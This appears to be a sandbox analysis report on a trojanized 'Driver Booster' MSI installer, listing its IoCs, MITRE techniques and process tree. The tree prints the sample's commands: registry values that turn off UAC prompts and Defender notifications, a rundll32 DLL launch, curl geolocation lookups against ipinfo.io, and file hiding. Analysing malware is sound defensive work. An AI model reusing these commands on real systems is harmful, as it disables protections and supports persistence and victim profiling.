552c789cf68b88af18cf75ace35963445e3f7625cb07ae6b3933ceef26032f18

Analysis

max time kernel
70s
max time network
42s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
20-02-2023 11:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Driver_Booster_19_02_23_to_msi.msi
Size

7.2MB
MD5

5ad74e66323ae26320cd9c051f266a4f
SHA1

d7f999814e7c76466dba21619defc955d2660f20
SHA256

552c789cf68b88af18cf75ace35963445e3f7625cb07ae6b3933ceef26032f18
SHA512

019d370fe90818e1e5650496bbe3b187f0cb933e18b7644120ee25065974c108633bdab28db09bff879240d30de5a845572f4d1eb81ce92b469acc6ffa3f49a3
SSDEEP

196608:fYSxCsde/fxOql6socvDWnwlIzAY7kRSb6PdnjR:pxCz3xOHcRiERj

Score

10^/10

discovery evasion exploit ransomware themida trojan

Malware Config

Signatures

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

evasion trojan

Modify Existing Service

T1031

Modify Registry

T1112

Disabling Security Tools

T1089

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\windows defender security center\notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\windows defender security center\notifications\disableenhancednotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows defender security center\notifications	reg.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioruser = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	reg.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Possible privilege escalation attempt 6 IoCs
exploit

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeICACLS.EXE

pid process

1612 takeown.exe
1412 icacls.exe
1480 icacls.exe
1756 icacls.exe
1692 icacls.exe
1612 ICACLS.EXE
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

1784 attrib.exe
824 attrib.exe

pid	process
1612	takeown.exe
1412	icacls.exe
1480	icacls.exe
1756	icacls.exe
1692	icacls.exe
1612	ICACLS.EXE

pid	process
1784	attrib.exe
824	attrib.exe

Drops startup file 1 IoCs

Processes:

Driver_Booster_19_02_23_to_msi.tmp

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IObit.lnk	Driver_Booster_19_02_23_to_msi.tmp

Executes dropped EXE 5 IoCs

Processes:

Driver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmpDriver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmpdrvboost.exe

pid	process
960	Driver_Booster_19_02_23_to_msi.exe
1108	Driver_Booster_19_02_23_to_msi.tmp
1920	Driver_Booster_19_02_23_to_msi.exe
1292	Driver_Booster_19_02_23_to_msi.tmp
1144	drvboost.exe

Loads dropped DLL 18 IoCs

Processes:

MsiExec.exeDriver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmpDriver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmprundll32.exeattrib.exe

pid	process
688	MsiExec.exe
688	MsiExec.exe
688	MsiExec.exe
688	MsiExec.exe
688	MsiExec.exe
960	Driver_Booster_19_02_23_to_msi.exe
1108	Driver_Booster_19_02_23_to_msi.tmp
1920	Driver_Booster_19_02_23_to_msi.exe
1292	Driver_Booster_19_02_23_to_msi.tmp
1000	rundll32.exe
1000	rundll32.exe
1000	rundll32.exe
1000	rundll32.exe
1784	attrib.exe
1784	attrib.exe
1784	attrib.exe
1784	attrib.exe
1292	Driver_Booster_19_02_23_to_msi.tmp

Modifies file permissions 1 TTPs 6 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeICACLS.EXEtakeown.exeicacls.exeicacls.exeicacls.exe

pid process

1692 icacls.exe
1612 ICACLS.EXE
1612 takeown.exe
1412 icacls.exe
1480 icacls.exe
1756 icacls.exe

pid	process
1692	icacls.exe
1612	ICACLS.EXE
1612	takeown.exe
1412	icacls.exe
1480	icacls.exe
1756	icacls.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\tmp\drvboost.exe	themida
\tmp\drvboost.exe	themida
C:\tmp\drvboost.exe	themida

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

attrib.exe

pid process

1784 attrib.exe

pid	process
1784	attrib.exe

Drops file in Windows directory 10 IoCs

Processes:

DrvInst.exemsiexec.exeEXPAND.EXE

description	ioc	process
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File created	C:\Windows\Installer\6cab2e.msi	msiexec.exe
File created	C:\Windows\Installer\6cab2f.ipi	msiexec.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	EXPAND.EXE
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\6cab2e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAD70.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1956 schtasks.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

1576 vssadmin.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

1592 taskkill.exe
1592 taskkill.exe

pid	process
1956	schtasks.exe

pid	process
1576	vssadmin.exe

pid	process
1592	taskkill.exe
1592	taskkill.exe

Modifies data under HKEY_USERS 43 IoCs

Processes:

DrvInst.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

msiexec.exeDriver_Booster_19_02_23_to_msi.tmp

pid process

980 msiexec.exe
980 msiexec.exe
1292 Driver_Booster_19_02_23_to_msi.tmp
1292 Driver_Booster_19_02_23_to_msi.tmp

pid	process
980	msiexec.exe
980	msiexec.exe
1292	Driver_Booster_19_02_23_to_msi.tmp
1292	Driver_Booster_19_02_23_to_msi.tmp

Suspicious use of AdjustPrivilegeToken 56 IoCs

Processes:

msiexec.exemsiexec.exevssvc.exeDrvInst.exetaskkill.exetakeown.exereg.exe

description	pid	process
Token: SeShutdownPrivilege	1044	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1044	msiexec.exe
Token: SeRestorePrivilege	980	msiexec.exe
Token: SeTakeOwnershipPrivilege	980	msiexec.exe
Token: SeSecurityPrivilege	980	msiexec.exe
Token: SeCreateTokenPrivilege	1044	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1044	msiexec.exe
Token: SeLockMemoryPrivilege	1044	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1044	msiexec.exe
Token: SeMachineAccountPrivilege	1044	msiexec.exe
Token: SeTcbPrivilege	1044	msiexec.exe
Token: SeSecurityPrivilege	1044	msiexec.exe
Token: SeTakeOwnershipPrivilege	1044	msiexec.exe
Token: SeLoadDriverPrivilege	1044	msiexec.exe
Token: SeSystemProfilePrivilege	1044	msiexec.exe
Token: SeSystemtimePrivilege	1044	msiexec.exe
Token: SeProfSingleProcessPrivilege	1044	msiexec.exe
Token: SeIncBasePriorityPrivilege	1044	msiexec.exe
Token: SeCreatePagefilePrivilege	1044	msiexec.exe
Token: SeCreatePermanentPrivilege	1044	msiexec.exe
Token: SeBackupPrivilege	1044	msiexec.exe
Token: SeRestorePrivilege	1044	msiexec.exe
Token: SeShutdownPrivilege	1044	msiexec.exe
Token: SeDebugPrivilege	1044	msiexec.exe
Token: SeAuditPrivilege	1044	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1044	msiexec.exe
Token: SeChangeNotifyPrivilege	1044	msiexec.exe
Token: SeRemoteShutdownPrivilege	1044	msiexec.exe
Token: SeUndockPrivilege	1044	msiexec.exe
Token: SeSyncAgentPrivilege	1044	msiexec.exe
Token: SeEnableDelegationPrivilege	1044	msiexec.exe
Token: SeManageVolumePrivilege	1044	msiexec.exe
Token: SeImpersonatePrivilege	1044	msiexec.exe
Token: SeCreateGlobalPrivilege	1044	msiexec.exe
Token: SeBackupPrivilege	1668	vssvc.exe
Token: SeRestorePrivilege	1668	vssvc.exe
Token: SeAuditPrivilege	1668	vssvc.exe
Token: SeBackupPrivilege	980	msiexec.exe
Token: SeRestorePrivilege	980	msiexec.exe
Token: SeRestorePrivilege	1564	DrvInst.exe
Token: SeRestorePrivilege	1564	DrvInst.exe
Token: SeRestorePrivilege	1564	DrvInst.exe
Token: SeRestorePrivilege	1564	DrvInst.exe
Token: SeRestorePrivilege	1564	DrvInst.exe
Token: SeRestorePrivilege	1564	DrvInst.exe
Token: SeRestorePrivilege	1564	DrvInst.exe
Token: SeLoadDriverPrivilege	1564	DrvInst.exe
Token: SeLoadDriverPrivilege	1564	DrvInst.exe
Token: SeLoadDriverPrivilege	1564	DrvInst.exe
Token: SeRestorePrivilege	980	msiexec.exe
Token: SeTakeOwnershipPrivilege	980	msiexec.exe
Token: SeRestorePrivilege	980	msiexec.exe
Token: SeTakeOwnershipPrivilege	980	msiexec.exe
Token: SeDebugPrivilege	1592	taskkill.exe
Token: SeTakeOwnershipPrivilege	1612	takeown.exe
Token: SeDebugPrivilege	1592	reg.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msiexec.exeDriver_Booster_19_02_23_to_msi.tmp

pid process

1044 msiexec.exe
1292 Driver_Booster_19_02_23_to_msi.tmp

pid	process
1044	msiexec.exe
1292	Driver_Booster_19_02_23_to_msi.tmp

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msiexec.exeMsiExec.exeDriver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmpcmd.exeDriver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmprundll32.exe

description	pid	process	target process
PID 980 wrote to memory of 688	980	msiexec.exe	MsiExec.exe
PID 980 wrote to memory of 688	980	msiexec.exe	MsiExec.exe
PID 980 wrote to memory of 688	980	msiexec.exe	MsiExec.exe
PID 980 wrote to memory of 688	980	msiexec.exe	MsiExec.exe
PID 980 wrote to memory of 688	980	msiexec.exe	MsiExec.exe
PID 980 wrote to memory of 688	980	msiexec.exe	MsiExec.exe
PID 980 wrote to memory of 688	980	msiexec.exe	MsiExec.exe
PID 688 wrote to memory of 1612	688	MsiExec.exe	ICACLS.EXE
PID 688 wrote to memory of 1612	688	MsiExec.exe	ICACLS.EXE
PID 688 wrote to memory of 1612	688	MsiExec.exe	ICACLS.EXE
PID 688 wrote to memory of 1612	688	MsiExec.exe	ICACLS.EXE
PID 688 wrote to memory of 868	688	MsiExec.exe	EXPAND.EXE
PID 688 wrote to memory of 868	688	MsiExec.exe	EXPAND.EXE
PID 688 wrote to memory of 868	688	MsiExec.exe	EXPAND.EXE
PID 688 wrote to memory of 868	688	MsiExec.exe	EXPAND.EXE
PID 688 wrote to memory of 960	688	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 688 wrote to memory of 960	688	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 688 wrote to memory of 960	688	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 688 wrote to memory of 960	688	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 688 wrote to memory of 960	688	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 688 wrote to memory of 960	688	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 688 wrote to memory of 960	688	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 960 wrote to memory of 1108	960	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 960 wrote to memory of 1108	960	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 960 wrote to memory of 1108	960	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 960 wrote to memory of 1108	960	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 960 wrote to memory of 1108	960	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 960 wrote to memory of 1108	960	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 960 wrote to memory of 1108	960	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1108 wrote to memory of 1532	1108	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 1108 wrote to memory of 1532	1108	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 1108 wrote to memory of 1532	1108	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 1108 wrote to memory of 1532	1108	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 1108 wrote to memory of 1920	1108	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 1108 wrote to memory of 1920	1108	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 1108 wrote to memory of 1920	1108	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 1108 wrote to memory of 1920	1108	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 1108 wrote to memory of 1920	1108	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 1108 wrote to memory of 1920	1108	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 1108 wrote to memory of 1920	1108	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 1532 wrote to memory of 1592	1532	cmd.exe	taskkill.exe
PID 1532 wrote to memory of 1592	1532	cmd.exe	taskkill.exe
PID 1532 wrote to memory of 1592	1532	cmd.exe	taskkill.exe
PID 1532 wrote to memory of 1592	1532	cmd.exe	taskkill.exe
PID 1920 wrote to memory of 1292	1920	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1920 wrote to memory of 1292	1920	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1920 wrote to memory of 1292	1920	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1920 wrote to memory of 1292	1920	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1920 wrote to memory of 1292	1920	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1920 wrote to memory of 1292	1920	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1920 wrote to memory of 1292	1920	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1292 wrote to memory of 1000	1292	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 1292 wrote to memory of 1000	1292	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 1292 wrote to memory of 1000	1292	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 1292 wrote to memory of 1000	1292	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 1292 wrote to memory of 1000	1292	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 1292 wrote to memory of 1000	1292	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 1292 wrote to memory of 1000	1292	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 1000 wrote to memory of 1784	1000	rundll32.exe	attrib.exe
PID 1000 wrote to memory of 1784	1000	rundll32.exe	attrib.exe
PID 1000 wrote to memory of 1784	1000	rundll32.exe	attrib.exe
PID 1000 wrote to memory of 1784	1000	rundll32.exe	attrib.exe
PID 1292 wrote to memory of 1244	1292	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 1292 wrote to memory of 1244	1292	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

1784 attrib.exe
824 attrib.exe

pid	process
1784	attrib.exe
824	attrib.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Driver_Booster_19_02_23_to_msi.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1044

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 76D90ECF7171864EC2B624DFDFE9B6DE
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:688

C:\Windows\SysWOW64\ICACLS.EXE
"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-6bdfa5b6-7d40-428f-a581-3771de1c109a\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1612

C:\Windows\SysWOW64\EXPAND.EXE
"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
3⤵
- Drops file in Windows directory
PID:868

C:\Users\Admin\AppData\Local\Temp\MW-6bdfa5b6-7d40-428f-a581-3771de1c109a\files\Driver_Booster_19_02_23_to_msi.exe
"C:\Users\Admin\AppData\Local\Temp\MW-6bdfa5b6-7d40-428f-a581-3771de1c109a\files\Driver_Booster_19_02_23_to_msi.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:960

C:\Users\Admin\AppData\Local\Temp\is-FJ7KU.tmp\Driver_Booster_19_02_23_to_msi.tmp
"C:\Users\Admin\AppData\Local\Temp\is-FJ7KU.tmp\Driver_Booster_19_02_23_to_msi.tmp" /SL5="$10164,5822059,799232,C:\Users\Admin\AppData\Local\Temp\MW-6bdfa5b6-7d40-428f-a581-3771de1c109a\files\Driver_Booster_19_02_23_to_msi.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe" /c taskkill /f /im drvboost.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im drvboost.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1592

C:\Users\Admin\AppData\Local\Temp\MW-6bdfa5b6-7d40-428f-a581-3771de1c109a\files\Driver_Booster_19_02_23_to_msi.exe
"C:\Users\Admin\AppData\Local\Temp\MW-6bdfa5b6-7d40-428f-a581-3771de1c109a\files\Driver_Booster_19_02_23_to_msi.exe" /verysilent /sp-
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1920

C:\Users\Admin\AppData\Local\Temp\is-VUGVP.tmp\Driver_Booster_19_02_23_to_msi.tmp
"C:\Users\Admin\AppData\Local\Temp\is-VUGVP.tmp\Driver_Booster_19_02_23_to_msi.tmp" /SL5="$20168,5822059,799232,C:\Users\Admin\AppData\Local\Temp\MW-6bdfa5b6-7d40-428f-a581-3771de1c109a\files\Driver_Booster_19_02_23_to_msi.exe" /verysilent /sp-
6⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1292

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32" C:\tmp\drvboost.dll, Uaby
7⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1000

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32" C:\tmp\drvboost.dll, Uaby
8⤵
PID:1784

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\g.cmd""
7⤵
PID:1244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cuRL -s IPINfo.Io/city
8⤵
PID:1524

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cUrl -s IPiNfo.io/country
8⤵
PID:1876

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cUrL -s ipINFO.io/Ip
8⤵
PID:568

C:\Windows\SysWOW64\attrib.exe
AttrIb +s +H C:\tmp\a.cmD
8⤵
- Sets file to hidden
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Views/modifies file attributes
PID:1784

